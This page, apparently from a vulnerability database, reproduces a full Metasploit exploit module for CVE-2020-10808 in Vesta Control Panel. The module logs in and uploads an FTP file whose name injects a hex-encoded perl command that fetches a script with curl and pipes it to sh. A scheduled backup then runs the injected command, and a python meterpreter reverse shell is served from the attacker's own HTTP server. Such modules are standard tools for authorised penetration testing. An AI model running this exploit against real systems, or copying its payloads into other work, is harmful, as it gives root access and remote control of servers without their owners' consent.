Lucene search
K

Vesta Control Panel Authenticated Remote Code Execution

🗓️ 11 Apr 2020 09:22:17Reported by Mehmet Ince <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 358 Views

Vesta Control Panel Authenticated Remote Code Executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Vesta Control Panel Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in the v-list-user-backups
          bash script file in Vesta Control Panel to gain remote code execution as the root user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mehmet Ince <[email protected]>' # author & msf module
        ],
        'References' => [
          ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
          ['CVE', '2020-10808']
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 300,
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
        'Platform' => ['python'],
        'Arch' => ARCH_PYTHON,
        'Targets' => [[ 'Automatic', {}]],
        'Privileged' => true,
        'DisclosureDate' => '2020-03-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'Reliability' => [ FIRST_ATTEMPT_FAIL, ],
          'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK,	]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8083),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with']),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def login
    #
    # This is very simple login process. Nothing important.
    # We will be using cookie and csrf_token across the module as instance variables.
    #
    print_status('Retrieving cookie and csrf token values')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login', '/')
    })

    unless res
      fail_with(Failure::Unreachable, 'Target is unreachable.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
    end

    if res.get_cookies.empty?
      fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
    end

    @cookie = res.get_cookies
    @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''

    if @csrf_token.empty?
      fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
    end

    print_good('Cookie and CSRF token values successfully retrieved')

    print_status('Authenticating to HTTP Service with given credentials')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', '/'),
      'cookie' => @cookie,
      'vars_post' => {
        'token' => @csrf_token,
        'user' => username,
        'password' => password
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'Target is unreachable.')
    end

    if res.body.include?('Invalid username or password.')
      fail_with(Failure::NoAccess, 'Credentials are not valid.')
    end

    if res.body.include?('Invalid or missing token')
      fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
    end

    if res.code == 302
      if res.get_cookies.empty?
        fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
      end
      @cookie = res.get_cookies
    else
      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
    end
  end

  def start_backup_and_trigger_payload
    #
    # Once a scheduled backup is triggered, the v-backup-user script will be executed.
    # This script will take the file name that we provided and will insert it into backup.conf
    # so that the backup process can be performed correctly.
    #
    # At this point backup.conf should contain our payload, which we can then trigger by browsing
    # to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain
    # remote code execution) if no other backup processes are currently running.
    #
    # As a result, the exploit will check to see if a backup is currently running. If one is, it will print
    # 'An existing backup is already running' to the console until the existing backup is completed, at which
    # point it will trigger its own backup to trigger the command injection using the malicious command that was
    # inserted into backup.conf

    print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')

    is_scheduled_backup_running = true

    while is_scheduled_backup_running

      # Trigger the scheduled backup process
      res = send_request_cgi({
        'method' => 'GET',
        'cookie' => @cookie,
        'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/')
      })

      if res && res.code == 302 && res.headers['Location'] =~ %r{/list/backup/}
        # Due to a bug in send_request_cgi we must manually redirect ourselves!
        res = send_request_cgi({
          'method' => 'GET',
          'cookie' => @cookie,
          'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/')
        })
        if res && res.code == 200
          if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
            # An existing backup is taking place, so we must wait for it to finish its job!
            print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
            sleep(30)
          elsif res.body.include?('Task has been added to the queue.')
            # Backup process is being initiated
            print_good('Scheduled backup has been started ! ')
          else
            fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')
          end
        else
          # The web server couldn't reply to the request within given timeout window because our payload
          # executed in the background. This means that the res object will be 'nil' due to send_request_cgi()
          # timing out, which means our payload executed!
          print_good('Payload appears to have executed in the background. Enjoy the shells <3')
          is_scheduled_backup_running = false
        end
      else
        fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')
      end
    end
  end

  def payload_implant
    #
    # Our payload will be placed as a file name on FTP service.
    # Payload length can't be more then 255 and SPACE can't be used because of a
    # bug in the backend software.
    # s
    # Due to these limitations, the payload is fetched using curl before then
    # being executed with perl. This perl script will then fetch the full
    # python payload and execute it.
    #
    final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack1('H*')
    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    # Yet another datastore variable overriding.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = 21
    datastore['FTPUSER'] = username
    datastore['FTPPASS'] = password

    #
    # Connecting to the FTP service with same creds as web ui.
    # Implanting the very first stage of payload as a empty file.
    #
    if !connect_login
      fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
    end
    print_good('Successfully authenticated to the FTP service')

    res = send_cmd_data(['PUT', ".a';$(#{p});'"], '')
    if res.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload to FTP server')
    end
    print_good('The file with the payload in the file name has been successfully uploaded.')
    disconnect

    register_file_for_cleanup("/home/#{username}/.a';$(#{p});'")

    # Revert datastore variables.
    datastore['RPORT'] = port_restore
    datastore['SSL'] = true if ssl_restore
  end

  def exploit
    start_http_server
    payload_implant
    login
    start_backup_and_trigger_payload
  end

  def on_request_uri(cli, _request)
    print_good('First stage is executed ! Sending 2nd stage of the payload')
    second_stage = "python -c \"#{payload.encoded}\""
    send_response(cli, second_stage, { 'Content-Type' => 'text/html' })
    register_file_for_cleanup("/usr/local/vesta/data/users/#{username}/backup.conf")
  end

  def start_http_server
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => resource_uri
      },
      'ssl' => false # do not use SSL
    })
    print_status("Second payload download URI is #{get_uri}")
    # We need to use instance variables since get_uri keeps using
    # the SSL setting from the datastore.
    # Once the URI is retrieved, we will restore the SSL settings within the datastore.
    @second_stage_url = get_uri
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation